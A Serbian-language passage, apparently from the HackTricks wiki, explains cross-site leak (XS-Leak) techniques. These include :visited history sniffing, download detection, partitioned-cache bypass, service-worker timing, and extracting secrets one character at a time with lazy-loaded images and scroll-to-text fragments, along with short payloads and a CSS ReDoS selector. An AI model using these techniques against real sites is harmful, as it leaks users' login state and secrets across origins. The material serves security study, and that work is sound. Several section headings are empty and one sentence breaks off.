CSS selektor :visited se koristi za stilizovanje URL-ova na drugačiji način ako ih je korisnik prethodno posetio. Ranije se metoda getComputedStyle() mogla koristiti za identifikaciju ovih stilskih razlika. Međutim, moderni pregledači su implementirali sigurnosne mere kako bi sprečili da ova metoda otkrije stanje veze. Ove mere uključuju uvek vraćanje izračunatog stila kao da je veza posećena i ograničavanje stilova koji se mogu primeniti sa selektorom :visited.

Uprkos ovim ograničenjima, moguće je indirektno uočiti posećeno stanje veze. Jedna tehnika uključuje prevaru korisnika da interaguje sa područjem koje je pogođeno CSS-om, posebno korišćenjem svojstva mix-blend-mode. Ovo svojstvo omogućava mešanje elemenata sa njihovom pozadinom, što potencijalno otkriva posećeno stanje na osnovu interakcije korisnika.

Osim toga, detekcija se može postići bez interakcije korisnika iskorišćavanjem vremena renderovanja veza. Budući da pregledači mogu različito renderovati posećene i neposećene veze, to može uvesti merljivu vremensku razliku u renderovanju. U izveštaju o bagu Chromium-a pomenut je dokazni koncept (PoC) koji demonstrira ovu tehniku korišćenjem više veza kako bi se pojačala vremenska razlika, č

ContentDocument X-Frame Leak

U Chrome-u, ako je stranica sa zaglavljem X-Frame-Options postavljenim na "deny" ili "same-origin" ugrađena kao objekat, prikazuje se stranica greške. Chrome jedinstveno vraća prazan objekat dokumenta (umesto null) za svojstvo contentDocument ovog objekta, za razliku od iframe-ova ili drugih pregledača. Napadači mogu iskoristiti ovo otkrivanjem praznog dokumenta, što potencijalno otkriva informacije o stanju korisnika, posebno ako programeri nekonzistentno postavljaju zaglavlje X-Frame-Options, često zanemarujući stranice greške. Svest i dosledna primena sigurnosnih zaglavlja su ključne za sprečavanje takvih curenja informacija.

Otkrivanje preuzimanja

Zaglavlje Content-Disposition, posebno Content-Disposition: attachment, instrukcira pregledač da preuzme sadržaj umesto da ga prikaže ugrađeno. Ovo ponašanje može biti iskorišćeno za otkrivanje da li korisnik ima pristup stranici koja pokreće preuzimanje datoteke. U pregledačima zasnovanim na Chromium-u, postoje neke tehnike za otkrivanje ovog ponašanja preuzimanja:

  1. Pratiti traku preuzimanja:
  • Kada se datoteka preuzme u pregledačima zasnovanim na Chromium-u, na dnu prozora pregledača se prikazuje traka preuzimanja.
  • Praćenjem promena u visini prozora, napadači mogu zaključiti pojavu trake preuzimanja, što ukazuje na pokretanje preuzimanja.
  1. Navigacija preuzimanja sa iframe-ovima:
  • Kada stranica pokrene preuzimanje datoteke koristeći zaglavlje Content-Disposition: attachment, to ne izaziva događaj navigacije.
  • Učitavanjem sadržaja u iframe-u i praćenjem događaja navigacije, moguće je proveriti da li raspored sadržaja izaziva preuzimanje datoteke (bez navigacije) ili ne.
  1. Navigacija preuzimanja bez iframe-ova:
  • Slično kao i tehnika sa iframe-ovima, ova metoda uključuje korišćenje window.open umesto iframe-a.
  • Praćenjem događaja navigacije u novo otvorenom prozoru može se otkriti da li je pokrenuto preuzimanje datoteke (bez navigacije) ili se sadržaj prikazuje ugrađeno (nastupa navigacija).

U scenarijima gde samo prijavljeni korisnici mogu pokrenuti takva preuzimanja, ove tehnike se mogu koristiti za indirektno zaključivanje autentifikacionog stanja korisnika na osnovu odgovora pregledača na zahtev za preuzimanje.

Bypass particionisanog HTTP keša

{% hint style="warning" %} Zato je ova tehnika interesantna: Chrome sada ima particionisan keš, a ključ keša za novo otvorenu stranicu je: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx), ali ako otvorim ngrok stranicu i koristim fetch u njoj, ključ keša će biti: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), ključ keša je drugačiji, pa keš ne može biti deljen. Više detalja možete pronaći ovde: Gaining security and privacy by partitioning the cache
(Komentar sa ovde) {% endhint %}

Ako sajt primer.com uključuje resurs sa *.primer.com/resource, taj resurs će imati isti ključ keširanja kao da je resurs direktno zahtevan putem navigacije na najvišem nivou. To je zato što ključ keširanja čine eTLD+1 na najvišem nivou i eTLD+1 okvira.

Zbog toga što je pristup kešu brži od učitavanja resursa, moguće je pokušati promeniti lokaciju stranice i prekinuti je 20ms (na primer) nakon toga. Ako je poreklo promenjeno nakon prekida, to znači da je resurs keširan.
Ili se jednostavno pošalje neki fetch za potencijalno keširanu stranicu i meri vreme koje je potrebno.

Ručno preusmeravanje

Zagađivanje skripti

Servisni radnici

U datom scenariju, napadač preduzima inicijativu da registruje servisni radnik unutar jednog od svojih domena, tačnije "attacker.com". Zatim, napadač otvara novi prozor na ciljnom veb sajtu iz glavnog dokumenta i naređuje servisnom radniku da pokrene tajmer. Kako novi prozor počinje da se učitava, napadač navigira referencom dobijenom u prethodnom koraku do stranice kojom upravlja servisni radnik.

Po dolasku zahteva pokrenutog u prethodnom koraku, servisni radnik odgovara sa statusnim kodom 204 (No Content), čime efektivno završava proces navigacije. U ovom trenutku, servisni radnik beleži merenje sa tajmera pokrenutog ranije u drugom koraku. Ovo merenje je uticano trajanjem JavaScript-a koji uzrokuje kašnjenja u procesu navigacije.

{% hint style="warning" %} Pri merenju vremena izvršavanja je moguće eliminisati mrežne faktore kako bi se dobila preciznija merenja. Na primer, učitavanjem resursa koji se koriste na stranici pre njenog učitavanja. {% endhint %}

Vreme dohvata

Vreme preko prozora


Koristite Trickest da lako izgradite i automatizujete radne tokove uz pomoć najnaprednijih alata zajednice.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Sa HTML ili re injekcijom

Ovde možete pronaći tehnike za izvlačenje informacija iz HTML-a sa različitog izvora ubacivanjem HTML sadržaja. Ove tehnike su interesantne u slučajevima kada iz bilo kog razloga možete ubaciti HTML, ali ne možete ubaciti JS kod.

Dangling Markup

{% content-ref url="dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}

Usporeno učitavanje slika

Ako trebate izvući sadržaj i možete dodati HTML pre tajnog sadržaja, trebali biste proveriti uobičajene tehnike za dangling markup.
Međutim, ako iz bilo kog razloga MORATE to uraditi po karakter po karakter (možda je komunikacija putem keširanog pogotka), možete koristiti ovu prevaru.

Slike u HTML-u imaju atribut "loading" čija vrednost može biti "lazy". U tom slučaju, slika će se učitati kada bude prikazana, a ne tokom učitavanja stranice:

<img src=/something loading=lazy >

Stoga, ono što možete uraditi je dodati puno beskorisnih znakova (Na primer, hiljade "W") da popunite web stranicu pre tajne ili dodate nešto poput <br><canvas height="1850px"></canvas><br>.
Zatim, ako na primer naša injekcija se pojavi pre zastave, slika će biti učitana, ali ako se pojavi posle zastave, zastava + beskorisni znakovi će sprečiti njeno učitavanje (morate eksperimentisati sa količinom beskorisnih znakova koje treba postaviti). To se desilo u ovom writeup-u.

Druga opcija bi bila da koristite scroll-to-text-fragment ako je dozvoljeno:

Scroll-to-text-fragment

Međutim, možete naterati robota da pristupi stranici sa nečim poput

#:~:text=SECR

Dakle, web stranica će biti nešto poput: https://victim.com/post.html#:~:text=SECR

Gde post.html sadrži napadačeve nevažne znakove i slike koje se učitavaju na zahtev, a zatim se dodaje tajna informacija o botu.

Ovaj tekst će omogućiti botu pristup bilo kom tekstu na stranici koji sadrži tekst SECR. Kako je taj tekst tajna i nalazi se ispod slike, slika će se učitati samo ako je pogodjena tačna tajna. Tako da imate svoj orakl za ekstrakciju tajne po karakteru.

Neki primer koda za iskorišćavanje ovoga: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Vreme učitavanja slike sa lenjim učitavanjem

Ako nije moguće učitati spoljnu sliku koja bi mogla da pokaže napadaču da je slika učitana, druga opcija bi bila da pokušate da pogodite karakter nekoliko puta i izmerite to. Ako se slika učita, svi zahtevi će trajati duže nego kada slika nije učitana. To je ono što je korišćeno u rešenju ovog opisa sumirano ovde:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

Ako se koristi jQuery(location.hash), moguće je saznati putem vremena da li neki HTML sadržaj postoji, to je zato što ako se selektor main[id='site-main'] ne podudara, ne mora da proverava ostale selektore:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS Injection

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

Odbrane

Preporučene su mitigacije u https://xsinator.com/paper.pdf kao i u svakom odeljku wiki https://xsleaks.dev/. Pogledajte tamo za više informacija o tome kako se zaštititi od ovih tehnika.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:


Koristite Trickest da biste lako izgradili i automatizovali radne tokove pokretane najnaprednijim alatima zajednice.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}